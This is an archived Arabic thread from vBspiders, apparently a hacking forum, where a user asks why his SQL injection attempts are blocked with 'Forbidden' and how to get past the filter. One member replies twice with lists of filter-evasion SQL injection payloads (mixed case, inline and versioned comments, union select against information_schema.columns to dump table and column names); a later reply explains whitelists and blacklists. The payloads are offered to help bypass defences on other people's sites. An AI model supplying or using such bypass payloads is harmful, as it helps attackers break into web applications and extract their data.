:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   [حل مشكلة] مشكله في الفوربيدن (http://www.vbspiders.com/vb/t61334.html)

غير مسجل 03-17-2012 12:46 AM

مشكله في الفوربيدن
 
السلام عليكم ورحمة الله وبركاته

ايشش هيه الفلتره ~؟ ابي شرح لها ( ملف المسبب للفلتره ) حتى اقدر اعرف طرق التخطي باحتراف

يعني مثلا union+select

ايش الي خلاها ~,, تكون ,~, فوربيدن ~؟؟؟؟


وثاني شيْ, ابي طريقه لتخطيها ,~, طفشت الصراحه وانا احاول اتخطاها حاولت بكل الطرق


وشكرا لكل من يساعدني

AMINE-3d 03-17-2012 01:21 AM

رد: مشكله في الفوربيدن
 
يا غالي اساعدك في بعض طرق التخطي

union selectUnIoN SeLEcT+and+1=2 UnIoN SeLEcT/**/union/**/ selectunion /*!select*/: /*!concat*/(table_name,0x3a,column_name,0x3a,table_schema)/*!concat(table_name,0x3a,column_name,0x3a,table_sc hema)*/+/*!from+information_schema.columns*/

AMINE-3d 03-17-2012 01:25 AM

رد: مشكله في الفوربيدن
 
يا غالي اساعدك في بعض طرق التخطي
كود PHP:

union (select

كود PHP:

UnIoN SeLEcT 

كود PHP:

+and+1=2 union select 

كود PHP:

/**/union/**/ select 

كود PHP:

union /*!select*/ 

كود PHP:

/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema

كود PHP:

/*!concat(table_name,0x3a,column_name,0x3a,table_schema)*/ 

كود PHP:

+/*!from+information_schema.columns*/ 


خالد سعودي 03-17-2012 03:06 AM

رد: مشكله في الفوربيدن
 
نعم AMINE-3d سعدك كثير ولكن تابع الشرح احسن انك تابع جميع الدورات طبعا صوت وصورة
تفضل
http://www.vbspiders.com/vb/t22360.html

دام علاء العماد 03-17-2012 01:05 PM

رد: مشكله في الفوربيدن
 
السلام عليكم و رحمة الله
لقد طرح الأخ صاحب الموضوع سؤالين ، فأجاب الاخوة بارك الله فيهم على السؤال الثاني و هو كيفية تخطي الفلترة أما الشيء الذي يتسبب في فلترة الأوامر أو ماهي الفلترة فسأجيبك بشكل مبسط ، الفلترة هي عبارة عن قائمة يضعها مبرمج التطبيق لمنع أو السماح للأوامر المرور نحو قاعدة البيانات ، تخيل مثلا أنني قمت ببرمجة سكريبت أو تطبيق يظهر لي أنواع السلع الموجودة في الموقع ، حتى أظمن أن المستخدمين لن يقوموا بإدخال أوامر إستعلامات قد تتسبب في إظهار بيانات أخرى غير أنواع السلع أقوم بصناعة ما يسمى بالقائمة البيضاء ، و الهدف منها هو وضع جميع أوامر الاستعلامات المسموح بها داخل هذه القائمة ، و الأوامر التي لا توجد معهم سيرفضها التطبيق و لن يمررها ، و هناك تقنية أخرى تسمى بالقائمة السوداء حيث يضع المبرمج فيها جميع أوامر الاستعلامات غير المسموح بيها و جميع الأوامر التي لا تتواجد في هذه القائمة سيمررها التطبيق بشكل طبيعي ، و هناك بعض المبرمجين ممن يضعون القائمتين معا ، يعني قائمة بيضاء و قائمة سوداء

هذا شرح مبسط أتمنى أن تصل الفكرة إليك


الساعة الآن 05:00 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0